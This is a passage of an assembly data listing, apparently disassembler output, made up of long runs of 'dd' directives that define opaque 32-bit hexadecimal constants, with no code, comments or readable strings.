0F41A985Fh dd 4771AA4Ch, 52F1AF03h, 0DB10B403h, 18E1C067h, 986A03EEh dd 0B2899105h dd 6281B6F8h, 5E00AA7Fh, 66ED83F2h, 0B837F53Ch, 0A5780073h dd 0BBFDDD0h, 9200F213h, 0E9686988h, 7B0955Fh, 0A6B4424Fh dd 67CE3046h, 678BA0Ah, 537E7400h, 7A923D0h, 824400CFh dd 8B7898EAh, 0FA0095DAh, 65A3BADh, 3DCF936Fh, 0D380F335h dd 68214B1Dh, 7E0069BBh, 723B9BC2h, 3F1220h, 0B710D6AFh dd 6A64D752h, 30D220C0h, 0F379772h, 0C4B2688Dh, 3C0CD5AFh dd 2C066260h, 92548ADAh, 0C07D0051h, 1E15A72h, 334D396h dd 3C2E1899h, 6000C23h, 559F18B6h, 0A4BF3E94h, 8A38B400h dd 0B0269779h, 0C334EB1Fh, 6C59C519h, 4AA3AA8Ch, 0AD07A211h dd 4F1A3DC0h, 0DC4232D1h, 8676088Ch, 45001420h, 7B9407C0h dd 0F391053h, 259FA4B0h, 976F5858h, 28A8EC79h, 4811C0D8h dd 0E4847714h, 68030190h, 0AC9CEEC0h, 93130065h, 0BEF45E17h dd 0AAC09650h, 0B478D075h, 0C21C7C00h, 9C773886h, 94D1D31h dd 97654282h, 0C6400E10h, 330FBAE1h, 60B4419Dh, 0C5CCCEB5h dd 0FC210026h, 3F309B0Bh, 8103708Eh, 0E79F7B12h, 0B703DB9Eh dd 0DBF0E270h, 553B00FAh, 8110CB88h, 0E2ED42A8h, 1B3FE0DFh dd 6C8D0025h, 403C9C8h, 0AC7224D3h, 9DEA1400h, 0EEA7105Ch dd 0F9600E20h, 95E04511h, 225D0577h, 670E57F4h, 4E5A7331h dd 0D32D8735h, 59A038C0h, 8C3C3A5Eh, 0D90EE880h, 7D79B6D4h dd 7C46A3Ch, 670747A1h, 0BF35A610h, 116EC49h, 89EDCBE8h dd 0EC72FFA4h, 4A03A714h, 73187E83h, 8408B8F7h, 0CDC7008Dh dd 0E3647475h, 56007C41h, 6AA03B5Bh, 0FFEEFE5h, 7E32CB71h dd 65495C80h, 900CE3A4h, 61F2F52Fh, 0C6AC0097h, 23ECF31Fh dd 9E138C8Eh, 7A07047Bh, 0EF56D2h, 0A28ACB27h, 0D71D0E40h dd 0EB40C379h, 75F2A9C4h, 0DF18BF60h, 3FDD12ABh, 248768DAh dd 0C0BD9EE5h, 97F0668Fh, 8A9D1918h, 701FEF80h, 288E03C6h dd 5AF91B7Bh, 64F4B1F8h, 6E3C312Eh, 0E8BFA200h, 0C0835FF2h dd 94E50378h, 0FC303862h, 4EAD58C8h, 242BFA0Bh, 2642E89Dh dd 3B3300F1h, 0E70DB846h, 6CEF10Fh, 737660AFh, 7C23950h dd 5FD6C34Eh, 83EC3E61h, 0D4197491h, 43F0603Ch, 18800221h dd 0AA388765h, 8FACDF0h, 41C3B103h, 0A01A7C68h, 3A427B23h dd 6980E1C2h, 0D51E812Fh, 977BA7EFh, 9F51FB00h, 8D5EF526h dd 0FA0ADFA4h, 0EC34CF19h, 518BD0CAh, 8ADE2100h, 26542D80h dd 0B29F0022h, 0A88E6B12h, 0E200D6B0h, 0B659E462h, 6D0F3C3h dd 6C174BEBh, 42001816h, 9DC8701Eh, 3C536Fh, 8428D740h dd 736AD18Fh, 0C108B100h, 9B9C87E6h, 567A2Ch, 28759980h dd 0F66B17C7h, 0CD9D5E0Eh, 0F826A0F9h, 36A3CFh, 0EAA90350h dd 0B76AD3F4h, 0C15D8F03h, 0E08BF679h, 0CC0B6Eh, 8A2E0558h dd 0CE069739h, 7C074B7Ah, 1CE56189h, 0C2118D80h, 31473B8Eh dd 1F577500h, 45644F5Fh, 363EA800h, 0EBF548CAh, 949D5098h dd 53870092h, 8CFF5A55h, 6400BBA4h, 7576CA1Bh, 3BA0C602h dd 0B0D80C03h, 82F3060h, 0FC162662h, 59002D59h, 0DCDEE21Fh dd 36D4031Ah, 0D1F16B6Fh, 0A93A691Eh, 0B8BE1CC0h, 7EBFEA1h dd 26CEC07Fh, 7B0FC057h, 0E57C8ED1h, 0C9277203h, 0B8ED105Ah dd 776C3EFFh, 7E400054h, 0B02920B4h, 0DC742E4Ch, 20AC8D30h dd 0B8422801h, 0FC7F3E20h, 0B692112h, 0F200FF9Eh, 39FBA8Eh dd 5A29AFF8h, 79002C7Bh, 28A81D42h, 0B94486DCh, 89750E34h dd 40E0EBBDh, 0AEEDCFCAh, 66FFE5A0h, 0E91E3Ah, 42C52770h dd 0F8F475A8h, 87851E9Eh, 218687C2h, 49ED8305h, 2100B4A3h dd 0D582560Ch, 186804Dh, 0E9A5D0C2h, 0F738CEEDh, 46289961h dd 1080C1B0h, 47E49048h, 220F73ADh, 872E1685h, 0A106D71Bh dd 0DF7230h, 0F014CC57h, 0BC679E31h, 35060200h, 0C0289C36h dd 7EE7001Dh, 79C5FF2Fh, 88A44BB3h, 21E07C1Eh, 84AA1070h dd 710600F0h, 7313B69Bh, 46035824h, 0C63E940h, 8D9CE0AAh dd 0BD70DDh, 6503B6D3h, 0D9F8128Eh, 86F0C401h, 46220E30h dd 1EE85D8h, 92291EA5h, 0D8E5BF28h, 0C50083E3h, 0BA186371h dd 9F9B4B93h, 0CCA833E1h, 311ECA2Eh, 3079BDE0h, 0F6975279h dd 0DE9A000Fh, 321D791h, 78E07E4Ch, 420530E2h, 0FBE3B5Dh dd 0F9221583h, 9920E8A4h, 0F387C5Fh, 800C7264h, 8D4F5900h dd 7B07DF22h, 0F051B99Eh, 3DA3C150h, 6A5A0EBEh, 0A5606D81h dd 0CE9FE9D8h, 5350F900h, 0C1D737BDh, 6460385Bh, 45300948h dd 0F4144919h, 7D3A01E4h, 0AE00FB0Dh, 0DCC44152h, 0E68CA2h dd 0EF1BAA8h, 5AC1FCC2h, 0E97CA1C0h, 29578Dh, 188ADF6Fh dd 6AB62852h, 1F86E3Ah, 766539F7h, 0E1A8BCF2h, 0F67DA7h dd 0E643D24h, 0E835C192h, 8456DA28h, 745F6F00h, 47AB7F3Eh dd 66F90AE9h, 0A4CF77h, 0F6B0D2ADh, 0A50008D6h, 0D135D382h dd 492044h, 1013680Ch, 0ABB7A2Dh, 6225011Fh, 8140999Dh dd 7782CEFDh, 0E8BE7729h, 2C61005Eh, 6CAD439Bh, 5700F01Fh dd 7F8ADBFEh, 69ADA2Bh, 472C30B2h, 5E0038A6h, 520C287Ch dd 0BF85A5h, 0E41B638h, 0BB79FFADh, 2D1CC100h, 0F0F2DE9Fh dd 74A7F6E5h, 31AFFC0Fh, 0F7B1DA50h, 8E6AD0FEh, 28DC2F00h dd 63AF46BAh, 8258C70Eh, 991DC08Ch, 400087A6h, 9FC78EB0h dd 0E494ECD6h, 7486C081h, 6098FF01h, 55D74200h, 36F71203h dd 2F2E0020h, 0C1828A7Ch, 0E900888Bh, 7BFF9287h, 4BF002h dd 0E684B4B5h, 96610B1Bh, 0FE185FFEh, 0FB193163h, 88736074h dd 4DAC3E46h, 0ED45150Fh, 0FE18204Eh, 9DBCDAh, 29C28030h dd 8C6F5E54h, 0E4B97903h, 0D0EC78FCh, 0FD2686h, 0C9586D87h dd 0F65BF360h, 36445100h, 199007ECh, 3A4D0EE4h, 0CDAF28A1h dd 383B70A0h, 0F001CB82h, 0A98D0164h, 0E3FC610Fh, 93450032h dd 780BD96Fh, 0AA03D752h, 3815169Ah, 0A1478069h, 954F006Eh dd 3E705A09h, 0BE30FFA0h, 42053831h, 7A76005Eh, 7DC219FCh dd 0E90075B2h, 7862EE64h, 78DDA6F3h, 3D4E0161h, 838C33C8h dd 30FEF8ABh, 27AFF901h, 4655F7CAh, 0E98570h, 45909316h dd 4B5658FBh, 96535E00h, 0B882317Eh, 0A5493973h, 190E72C8h dd 0F66038BDh, 1A936171h, 0AA5711C0h, 0DC52D8E2h, 0FCC60039h dd 0F037DA92h, 0E6683B0Eh, 268C4F3Ch, 0FC829F3h, 0D8FCCDEFh dd 64240597h, 0E8C03D6h, 0D76E13h, 0D3A66F62h, 0A160E900h dd 73414916h, 0D6DE0E6Dh, 75E05D72h, 0E5562750h, 808C0C3Ah dd 1ABE39EAh, 7EEF8Ah, 7C78CF83h, 4BE1A84Ch, 1D360700h dd 2CDA2684h, 0AC7CA3h, 4C0C4350h, 4D54B1EAh, 2369B91Eh dd 0F60FCC5Dh, 0D747DF02h, 0A01F68D2h, 83561F5Dh, 31E074Dh dd 0D3343E80h, 6CC036F6h, 0B9064E7Dh, 6E69D70Bh, 0C2FA58h dd 1DBA747Bh, 48335CB7h, 50095A07h, 29F0609Fh, 676843h dd 91CF235Dh, 0B4BA3BE0h, 0B68B7E0Eh, 6835E059h, 3695C54h dd 606B23AEh, 0C0CA37DCh, 17E8DC40h, 0DE35B500h, 0A7D47D68h dd 0B5900F1h, 90B344E5h, 5D03F4ACh, 195C4DF6h, 0ABE00A3Dh dd 0C5BAAh, 2A4345BCh, 102A781h, 34BFB9E3h, 678480E1h dd 6732E25h, 46B2DDDEh, 3C0040EAh, 50031898h, 147B57Bh dd 0B0345FE1h, 0E2B40AD8h, 0AABACB60h, 0DDC3D900h, 28E6DA43h dd 46CE3C57h, 2619E502h, 0B081C0D6h, 513ABB18h, 6A3324h dd 1CB3D39h, 1F4FE028h, 40142F17h, 0BF318B4h, 47B8F000h dd 37705C3Dh, 0F50F4821h, 7A05FF0Ah, 3919089Ch, 0BAFDFA00h dd 74280369h, 0DB010F9Fh dd 0EEFBB6A3h, 10F88044h, 2158E30Ch, 3C561195h, 5B0F8366h dd 0FCA3B12Ch, 81A1BE93h, 5F2080E7h, 75287EE3h, 17ED0AB0h dd 0E4DFAFh, 5EECD0F9h, 0DC03DDCDh, 9ED97357h, 59680036h dd 0EF0914B1h, 0D40E758Bh, 8626909Dh, 20396Ch, 88146679h dd 6A7F173Eh, 76B2EF00h, 786C6125h, 0DAC50EA2h, 0E300E006h dd 0E4FAAEEAh, 0F73C7F76h, 6800FEA8h, 0D17D8B97h, 934608h dd 72FA407Bh, 0C233017Ah, 0E6055C0Eh, 0BCD6C034h, 53C8FDh dd 92EFE09Ch, 0F655492Bh, 8B5F2800h, 0C23446F3h, 5230093h dd 9C1DCA3Bh, 4100B70Ch, 0AA9D9843h, 9070EE29h, 6C78B4h dd 1137CCCh, 63857A07h, 0B43F3500h, 3CD2B59Ch, 0FFF2E2h dd 9A5BBD08h, 926162A5h, 4D70AF00h, 685726E3h, 0BF762Dh dd 0B01E67C9h, 0B1BBCE6Fh, 0C44508C0h, 0EA7CC865h, 0D61024DAh dd 42D00DCh, 4DB8198Ch, 4A285400h, 279DDE4Fh, 2AF700F9h dd 0AD9A31BFh, 430769C2h, 65DBFCD6h, 88362D20h, 0F220005Bh dd 0D561DFABh, 4C078916h, 0E931D069h, 0F92EE451h, 41A230h dd 7666227Eh, 0FFC53918h, 785BD0Eh, 40792F25h, 0D2F32729h dd 3C93F856h, 4880A4F6h, 67BCCB76h, 0C006055h, 285F33ACh dd 3F3D654Bh, 19DE1FAh, 121E4005h, 80F5A479h, 76C6BD26h dd 80281D1Bh, 59938DAh, 6DA35423h, 12C581h, 96561A1Dh dd 0FF0733E7h, 6576AC22h, 5AEBE530h, 13C85835h, 89956400h dd 1E07C0D5h, 19318600h, 164D107Ah, 78EC1F79h, 153B3925h dd 0DE85E287h, 5808907Ch, 0A5014F05h, 82B112DBh, 0FFD0CBEEh dd 72B50030h, 3D454E13h, 2A00A206h, 18EA699Ah, 0CE5F6Ch dd 0FEB915A0h, 26414A19h, 0FFC71300h, 90BD1C7Dh, 5BFA0335h dd 203D01C0h, 8C4630C7h, 0A0008ED6h, 0CCCB3CDBh, 1EE729h dd 0FCB62FAFh, 0F3ADAAF1h, 3B3DD97Fh, 0B9D08744h, 95805AA2h dd 30F4E03h, 27D8215h, 2CEBDFC7h, 0C39A05B8h, 1177B600h dd 0FD6F59FEh, 9D3200B0h, 0E7FAB23Eh, 0B47BA7F6h, 4B317600h dd 0E884D410h, 14892457h, 95E7003Bh, 67A72804h, 0FF23C01Fh dd 0AE843780h, 3D354227h, 0B13C722Dh, 0A0DC007Dh, 0EFA4637Fh dd 70F1F7Ah, 0E0D6559Eh, 70C8BBCDh, 9D8000EAh, 0F9A07EA1h dd 52007213h, 9C650C7Fh, 21F117h, 0A93FA83Dh, 0CB9189A1h dd 6AF3D80Eh, 9B5EC00Eh, 3512801h, 0F9614AC6h, 7477C774h dd 40601F0Eh, 166C80BAh, 5C4FF67h, 33ED2957h, 9AC8403Fh dd 0A2F4CCF6h, 0B36D6C00h, 0F5C76BFFh, 0FA980099h, 6090A5D0h dd 0D2F485E8h, 0CBC0DB00h, 5F81BD7Bh, 512CC0FAh, 342E5B5Dh dd 76F6D900h, 8449613Fh, 2B270033h, 0D63CAAB4h, 2C037454h dd 521D3569h, 83E2E7A8h, 0EBB6C03Dh, 0A112004Dh, 0CC4AA62Eh dd 898ABE9h, 80A0CB3Dh, 0D767EDBBh, 12E8E278h, 1FA4048Ch dd 0FCF180CBh, 46ED5A14h, 86811E00h, 780D23CEh, 1FD91D68h dd 52104037h, 452E8CBCh, 6CED1E00h, 6974080h, 0A634387Ch dd 0BDAAA880h, 0CA64681Dh, 32C2CC00h, 88B65FE7h, 0FEA003Ah dd 0E5CEFAE3h, 7900D214h, 0EE37611Ah, 87457Dh, 92F49A30h dd 93ACE003h, 0CEA930C1h, 0BC207337h, 90CD0056h, 5E1D91DEh dd 26F85F25h, 2136BB00h, 7CD554A5h, 41F748C2h, 0D81D038h dd 0FAC0BFFFh, 6AE8C74Eh, 0B600DFFCh, 0CFDE0FF0h, 306BD92h dd 5AED6F3Dh, 4FE0439Dh, 620099A3h, 0BAE8FA10h, 7CAD4h dd 0E87B374h, 3114D8D9h, 0EE659101h, 7CBB2C20h, 1F6849ECh dd 0CF3CE096h, 45C3D1CDh, 29A0A384h, 5C384075h, 0CB96008Ah dd 0E0338DEh, 0D3C900E5h, 5DFF3B9Bh, 6B00BF84h, 0DB998EA4h dd 53D66h, 0DF0FEC96h, 49E20D04h, 5638E800h, 16A3BD4Bh dd 47810008h, 0FA25984h, 13009EEEh, 0C180368h, 14339DDh dd 8A893ED4h, 706DF263h, 737292A8h, 208DFDA0h, 0C60093E6h dd 37F324A5h, 0E88D9EFh, 0C24FAD0Dh, 0E97D6E40h, 0D700740Fh dd 8271EB1Bh, 1D3326Ah, 510CF4C3h, 0DCF31CADh, 0ED01D999h dd 687D7437h, 382018BFh, 0ADB20021h, 5190046Ch, 0D6003760h dd 566F6BA2h, 0C51DA0h, 421ADA1h, 0BF22484h, 0A9022000h dd 6876422Ch, 3A5AE2D2h, 0ADBE57C0h, 0D54F4D86h, 0BDFC485Bh dd 0BE01097Eh, 0E178BC68h, 80301D50h, 1D2490C6h, 0C3C1A7CEh dd 46493856h, 6EC08CE2h, 7903717Dh, 0ADDF089Dh, 0F3BCF8D3h dd 607E0099h, 0A96DF593h, 0C400DD86h, 0A261B14h, 0A1B869h dd 7687B7DBh, 6AFB9936h, 0A3E20798h, 0A5BF8012h, 0C9DA7100h dd 2F68140h, 7ABE1B30h, 0A061A966h, 0CEEBDC97h, 0E792901Dh dd 0F93AFF03h, 61AD98B7h, 225924EAh, 802F1D48h, 672B23C8h dd 330007E3h, 0DC29F325h, 3922D2D7h, 5300E848h, 46CF78CAh dd 12147E7Fh, 1FE013CCh, 8BC0CB43h, 5FC8713Dh, 7FEB0106h dd 0E3A1810Dh, 19E0F284h, 0C3005988h, 610CA578h, 0F7C19Ah dd 0AF7CEFACh, 0A09FBE49h, 1E5E5F0Eh, 0AEE0D3DEh, 34553DC6h dd 25D38800h, 2668E21h, 7937CF00h, 8D9D96AFh, 33AE6B2h dd 81697135h, 44BFC8A4h, 0E158C7E5h, 0F0D5AF2Fh, 410064BFh dd 16B6A48Fh, 0CD6BB8h, 9A781518h, 0F50F54CEh, 0E6F1B4C0h dd 1D438142h, 579983h, 621C3252h, 0D700AFD0h, 0A0552380h dd 70E25F5h, 7CFEBF5Ah, 0E09190A4h, 0E7E81B7Ah, 0D9C1050Fh dd 1934062h, 501FFCh, 21722E8Eh, 63A1442h, 7CC16F00h, 0C739B8FBh dd 0DBB54C79h, 9E592Eh, 8C4D78E3h, 0DC0E0844h, 264C6Ch dd 0B658B011h, 0EE090082h, 0ACA89094h, 0DC902363h, 0D8FE7B00h dd 56B3593Ah, 413000FDh, 0B79F8A0Bh, 7B00FBECh, 0CDA09768h dd 374A9Bh, 0A2F11158h, 289ADA71h, 0B3DCFB00h, 82C58C08h dd 0CFEA0079h, 8E3CC78Bh, 8903455Bh, 8448A65Ch, 0D995B8E2h dd 474C00DDh, 0DD335FCh, 0B158C5ECh, 0D5C700F0h, 66155377h dd 89F80029h, 0DDD26C79h, 4B0394CFh, 0C722467Ah, 0E5310BBCh dd 1420190Eh, 649050E9h, 96950A00h, 0A5D140BFh, 0FB9D0084h dd 0A891E522h, 13EC63B1h, 2F213D0Fh, 4D8580F7h, 8CEEF3h dd 6AFD8B0Ah, 0BE43C78Dh, 0E930417Ch, 516781EDh, 85C50186h dd 0EE22A8B0h, 0E3798074h, 194C332Eh, 80D30251h, 67C0E041h dd 7B854E60h, 4A005CBAh, 6012DFD8h, 0FB465F5Eh, 1D241985h dd 58B04787h, 1B28C03Dh, 0B700EF84h, 0A2D95FE0h, 0B14A49h dd 6CC69078h, 0F94612C5h, 7ED13500h, 69870ED5h, 0D88038C2h dd 51D9B100h, 4D72E53Ch, 0C8746E07h, 4AA0A1CAh, 7A6F054h dd 506F1A3Bh, 972FFE78h, 6D5BEDA0h, 0D91C1E62h, 0F74743CAh dd 202048BDh, 9315C6h, 512EE856h, 717E6AEFh, 0F1C0A954h dd 0AD07D5E0h, 283EBBDFh, 0A4189F80h, 0B2A30185h, 0E57AD967h dd 0F7E1806Ah, 0E9320E33h, 66F00C5h, 50C8D02h, 6E3F0A48h dd 182D090Fh, 191E00E2h, 0C07AC41Dh, 93FFBD68h, 0CF4D2AADh dd 6C3C056Ch, 0C00033D4h, 0EBA0A7B3h, 25BE0030h, 991AFD94h dd 0FC009223h, 46A67749h, 7CA0EDh, 719ACABh, 0D4B26EC0h dd 0CC57700Ch, 0E9AA51A3h, 7F20D000h, 27009273h, 6A98B878h dd 3FCB624h, 0C0181D2Ch, 0EFA16E49h, 0E3F130B5h, 56804B04h dd 0D9838565h, 16C5E8F3h, 46552E90h, 80DB1E60h, 0B7A3779Eh dd 69D2AD0Eh, 0F15BB500h, 0B84D47EDh, 93713072h, 0B1CCACA8h dd 0DA000EE6h, 202B91C2h, 1EE8E192h, 0C0657187h, 63C4A897h dd 6002489h, 0E119A147h, 85E76Ch, 53E8807Dh, 8DCB33CCh dd 8F505B00h dd 608717CEh, 0FEFA007Ah, 866DBBABh, 72600D98h, 6F2C9B08h dd 0D75900FDh, 2E91F633h, 11C9613h, 2A03B61Ah, 0C8B00431h dd 7807E06h, 0BDA18C93h, 0B0FD17EFh, 5E48864h, 0A1FCCE3h dd 98009C72h, 19E995A8h, 0CCB24Fh, 42DEF375h, 2CC59E7Eh dd 66589400h, 15F6D7A0h, 0FA08038Eh, 0CD0323E3h, 0B5606801h dd 0EBBB9FBAh, 5D9E20h, 0D4CEC0EEh, 8D4895DDh, 0B558D501h dd 0D61DC544h, 0BF2E20h, 0D09FA1BAh, 0FFB4D834h, 294DCF2Ch dd 4EF2EB00h, 188D7CCAh, 5E055B35h, 83CC1C8h, 13B10085h dd 0C9F1EA60h, 50DB008Ah, 0D51853B5h, 600C079h, 15B648CEh dd 0CAE430h, 20A71E99h, 0AC043CD3h, 0A18DBC00h, 5BF67DFCh dd 79B30033h, 97B1FE8Eh, 0FA01B49Eh, 0C5476C87h, 0D840322Ah dd 0DD812Dh, 22237F9Ch, 0A9D32761h, 630D8A00h, 0B0A2E3BFh dd 6970142h, 8EF96425h, 55047020h, 0E9F8D57Bh, 0CD0009F8h dd 4E82AEB4h, 1222878h, 5E72C5F7h, 803352FAh, 77542468h dd 1CEB7E71h, 8083F02Ah, 0D5525D06h, 0CD009956h, 3360E162h dd 7E93A6Dh, 43240F37h, 0FABAF048h, 0BD068A01h, 0FDDC6865h dd 0B841002Eh, 9D60D2ABh, 0E403D32Bh, 0CF7557EBh, 0F4709898h dd 0A3F90359h, 14AFACA9h, 0D0A09A0h, 4D13E00h, 1A4128ABh dd 0B22300FDh, 7773BCF5h, 0A2FE07FEh, 0EA4FCA00h, 5C709D50h dd 8FB900AAh, 653F5ED7h, 5203BAF7h, 0A4389EC6h, 9D4C906Dh dd 6E3B009Fh, 7A5C25DFh, 3DFE7D63h, 17BE8800h, 0C12D5998h dd 36550052h, 68F2F0BFh, 0CC1E4E80h, 42405126h, 0D5C4063Bh dd 2C1B60B8h, 0D0DE73E7h, 0B5001473h, 41D11109h, 7FDEAh dd 6A4B294Ah, 6C013ED5h, 3AFB1900h, 3D24F448h, 8523BA0h dd 0AED3900h, 0F649A18Fh, 35165300h, 98702DAh, 65BB13AFh dd 79C70A4Ah, 94E600B8h, 0D0D5CEAAh, 0ACD4BE00h, 2A72921Eh dd 817000BFh, 63C21A35h, 0C70E863Ah, 206240ADh, 1C1FC318h dd 0A06A0988h, 0F380BFD5h, 34C73AB2h, 2C3E70EAh, 10A98045h dd 81D1683Fh, 0E9391723h, 0E4300FEEh, 45807AACh, 0FE001198h dd 85B55221h, 19A315h, 57B803F8h, 0F351C68h, 5AD51F00h dd 8C281749h, 0D934008Bh, 6A3745BDh, 0A2000520h, 13F9584Ah dd 3C87D76h, 757256D6h, 0B790E39Bh, 0F230D2F6h, 2C581985h dd 8B890126h, 700AA450h, 19A8872Dh, 22D09EBAh, 63CC6h dd 0EF0D629Ah, 40C8B7E0h, 84B97700h, 66D42D3Fh, 0CAF0002Fh dd 891E8060h, 6E074A25h, 5DFB6A2Ch, 31C01DD4h, 1B5BB5h dd 0C973676Fh, 2195D329h, 0EC09FB00h, 36FE6A03h, 0E94200B9h dd 80866E23h, 0BD718DA8h, 0AD630700h, 845E2076h, 0EA620E29h dd 342042EBh, 0D0DB9660h, 0C69F4400h, 0A4DE79CDh, 54D0348h dd 7EBACBDCh, 75F1D2A8h, 9A9D6700h, 15CF9690h, 4C7173h dd 8F7CA383h, 28A5AF0Fh, 2F0453F8h, 0ACA63C91h, 0E3301487h dd 6FE2F8h, 98EC55CEh, 0E4EE7E67h, 0B41C4Ch, 1820624Ah dd 7B79B95Eh, 0B2470031h, 322D0B4Eh, 631F3C41h, 0A2C34683h dd 0B87D5A56h, 4926CA8Bh, 0A50FF4AEh, 104097B6h, 786F8DD0h dd 16AC4500h, 2FB122ECh, 13017AE3h, 4052B711h, 4FD1BE84h dd 963A195Eh, 834DB845h, 29C72AE9h, 50AED088h, 871B0380h dd 4B9A54B8h, 80E4C7FCh, 0F35583F2h, 50A4600h, 54E7FFA0h dd 0ABAF0001h, 0C2CA331Bh, 2500B06Eh, 0F6C6E851h, 900C1C64h dd 91CD000Ch, 6F1F9E46h, 1B480E42h, 39190070h, 0C10DE99Ah dd 43210311h, 36ECEF46h, 697305B8h, 481C2900h, 78079F57h dd 32F8E7E3h, 55DA009Ch, 0ED06A343h, 0F7049A30h, 0F6798A26h dd 98C79093h, 6EEEBAh, 81CA7E24h, 0B6DAAECFh, 77C5C200h dd 0E9113963h, 0AB8C00E4h, 700FC719h, 0A8014861h, 5782E242h dd 10248AC5h, 0B85800D9h, 0F677E691h, 423E0CC4h, 30FC800Ah dd 40737F3Eh, 0B5E003AEh, 3224DC11h, 60D9EAC9h, 2300C501h dd 4C74FB8h, 0F5A298h, 91745D5Eh, 4448F1AAh, 9E67233Ah dd 68C0DEB9h, 0D6192A2Bh, 26F40342h, 0A9044EE5h, 18CB0FC0h dd 0E4619F2Ah, 1C07733Fh, 314CC917h, 3DF77812h, 5F002520h dd 0AF402B2Fh, 0B7123AB5h, 0C81D8C9Bh, 0A4695D07h, 212A11D0h dd 25A70B90h, 48007832h, 77F914B6h, 0C8002DE4h, 5E4B308Ah dd 0FA94B7A9h, 0DA9F0BCBh, 200FBEA0h, 0B13B9800h, 0A400C21Dh dd 4DF31E65h, 0FE4363h, 97AB8C7h, 5393BCF8h, 82709109h dd 942420F5h, 50E199h, 1AFA7BB7h, 726D29D4h, 0CBAE7700h dd 0A35612C1h, 39B10062h, 0AFDAF933h, 0AB000E8Eh, 72A4FA8Dh dd 20D973h, 4EDF59AAh, 6F22E6E2h, 51291400h, 0CFEC6CD5h dd 73C100D8h, 0EBDA8F76h, 18000FE0h, 1D035F92h, 13424629h dd 120E8BA7h, 0D0B04051h, 6E305EF2h, 0F556BB00h, 7F49637Eh dd 0EA471395h, 69AC077Ch, 0D78C4077h, 870112D2h, 86A30B81h dd 0DEC00AB4h, 31CF3EF2h, 8B65BF04h, 2DFC1D0h, 6098F1F8h dd 909B7DE4h, 0CBB8C083h, 4ED28866h, 5179FCh, 9627D4A4h dd 7FE3E02Ah, 0AF9A40E3h, 0EE07D16Fh, 0DCCC5D47h, 0AEA9C37Fh dd 0FF100046h, 0F9D52501h, 89000276h, 0D49F723Ah, 9CFC41h dd 46903565h, 0DAFDA905h, 71A1990Fh, 885AA07Fh, 3CB78Ah dd 0D407808Fh, 972FD6CCh, 7900EAF8h, 0BD8CE5C9h, 0FD1F56h dd 4B542AE0h, 51FAF1ECh, 0E7E6CC00h, 0F0EA9435h, 46BC0CD7h dd 76498257h, 4169E007h, 43502920h, 46A4CFh, 0C1BC9472h dd 0C82B8CC6h, 0AA071100h, 7FEF9217h, 2DBD1624h, 6343072Ah dd 0B6754012h, 3100E085h, 0CA9050BBh, 38C6CFA5h, 0FD9D6996h dd 1400F940h, 0FF3EBFDDh, 7400BB58h, 0BC4CEE1Eh, 0B2106Fh dd 1B362A88h, 86D7465Ah, 0DED0EC00h, 0F7D50FEFh, 3AA87384h dd 0A6008D68h, 14720717h, 0CF00B8F2h, 0A9398F65h, 3599A1h dd 2D184ECh, 0B59ACA57h, 11B30600h, 1F5D814Ch, 0F7F4F169h dd 933507D9h, 0C0308538h, 74F5FA72h, 0CCE09703h, 0A35F3EE5h dd 9A6680F2h, 0B5010098h, 607C3DBFh, 5501B00Fh, 3FA4C741h dd 84C4578Eh, 9DDB078h, 0E7509C12h, 0A507EFD6h, 40005A2Ch dd 362C73Fh, 77DDD494h, 76D0D257h, 6B008880h, 26AC44B7h dd 59A7DFh, 0CCDA0A90h, 0CA31624Dh, 747CD12h, 0A0DDD104h dd 0B1412490h, 6FB8C0D8h, 8027AEFCh, 0D7603305h, 0DC30E188h dd 7C810B5h, 48AFE64h, 0FF6550DDh, 270FB4EEh, 803DD676h dd 9BEB3A5Bh, 24C37F0Ch, 800CDFDAh, 14A3AD8Dh, 36008E88h dd 4F340C98h, 0F03C58Ch, 0E0B397D7h, 89C0496Eh, 14784899h dd 8560AB02h, 0C06B7A03h, 7A045C73h, 0E4CA004Ah, 0FB305D8Ah dd 0E301507Eh, 8C5729DEh, 0EC4E1DAAh, 48C56602h, 0C4833D51h dd 6ED03082h, 927FEE06h, 0D39B4900h, 0A767D172h, 0EED7C26h dd 0BB574FCDh, 0D4915138h, 4D72DAA0h, 0B3C90203h, 0A8A40196h dd 12482470h, 2047252Ch, 871F5274h, 5AEC3F0Fh, 9183C0CCh dd 0E6D4A39Eh, 488876A4h, 67DF8B0h, 5E2844CBh, 6B070CCh dd 582470C0h, 905C9CC0h, 34D40AB8h, 80AC6F26h, 0F4022199h dd 3E48A676h, 684BC3BCh, 36F788DAh, 86BD008Eh, 37691955h dd 0CF33984h, 40C02DDh, 6F7E1C97h, 1B06A9C0h, 24139800h dd 939B8A3Fh, 234EC9B5h, 73A26300h, 0F97F0D71h, 0D8145300h dd 0E9A44E3Bh, 0AD8F00C4h, 6EB4CCF0h, 5271366Fh, 0A32B1000h dd 1DD54590h, 2A9F00EAh, 87112585h, 0FC00A18Ah, 0F34FE0FAh dd 242051h, 4107BBDAh dd 11FF630Ah, 2C8A1300h, 0DF6536FBh, 0EEB67E81h, 7B5330DBh dd 8B0A170h, 23F04901h, 412DEC06h, 1D9FE8h, 0E42C0925h dd 644CE85Ch, 4F00D090h, 0CEF5E396h, 1E0251h, 0FBF13B5Eh dd 0DE29C597h, 722C8D00h, 9A12ADB7h, 96CC00A4h, 0EBF52B9Ch dd 0E77F5B23h, 1727FF00h, 361C3DCh, 682C286Ah, 0AA1F00D8h dd 0A4DFD15Fh, 0E3604B38h, 0D0CF5419h, 2AFD0003h, 0BCC9AF1h dd 721AFBE4h, 0E204E74h, 2DC501D8h, 28AC02F1h, 6E1E0ECBh dd 2E9D007Eh, 7705DF90h, 655D6600h, 5A7AAF9Eh, 4179F0h dd 0B838FD3Dh, 5244080Dh, 2455E703h, 0DFB9B01Eh, 501A6B47h dd 8D02AF00h, 0EA2BCAh, 63364C9Ah, 2759DF1Eh, 5C0E74ECh dd 43FFFB47h, 0ECE37BB6h, 8A69FCC0h, 0B173601Dh, 0D25932C8h dd 36283Ah, 49020CE0h, 0A0BB62h, 1386B9EBh, 5088BE73h dd 81DD7700h, 0F2A8105Bh, 5DE43Ah, 9920E1D4h, 83899308h dd 0A5280B00h, 8D3E5C1Bh, 0C9750237h, 4B33A265h, 10DD5F40h dd 6CCDD200h, 8DA159A9h, 2ADE03F3h, 61EEB4FDh, 71D8D6A8h dd 0AAA0D400h, 0F8CBBF05h, 737372DAh, 0A81C7C45h, 944880h dd 165A8949h, 438B0E3Dh, 680F6974h, 600A6A9Eh, 0D4159FB8h dd 718A28C0h, 6BC7C9Ch, 78190CB2h, 4000497Eh, 7CF7398Dh dd 18F38h, 0C6AD8BDAh, 1CAE6987h, 0D7D2DE1Bh, 40301F54h dd 0A4EA56h, 